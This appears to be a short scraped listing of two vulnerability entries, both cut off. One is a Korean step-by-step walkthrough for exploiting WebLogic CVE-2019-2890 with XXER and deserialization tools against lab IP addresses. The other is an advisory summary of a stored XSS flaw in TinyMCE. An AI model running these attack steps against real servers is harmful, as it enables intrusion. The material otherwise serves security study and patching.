weblogic_cve-2019-2890

1）XXER 도구 실행 python xxer.py -H 192.168.17.223 2）xxer의 poc를 xx.xml 파일에 넣고, 직렬화된 데이터를 교체한 후 xxer의 poc를 주입합니다; java -jar weblogicxxe.jar xx.xml 3）java-deserialization-exploit 도구의 weblogic.py를 사용하여 weblogic 서버에 데이터 전송 python weblogic.py 192.168.17.222 7001 weblogic...

CVE-2026-47759 TinyMCE Cross-Site Scripting (XSS) vulnerability using through data-mce- prefixed src, href, style attributes

TinyMCE is an open source rich text editor. Prior to 5.11.1, 7.9.3, and 8.5.1, there is a stored XSS vulnerability via unsanitized data-mce- attributes data-mce-href, data-mce-src, data-mce-style. Allows attackers to inject malicious values that override safe attributes during serialization,...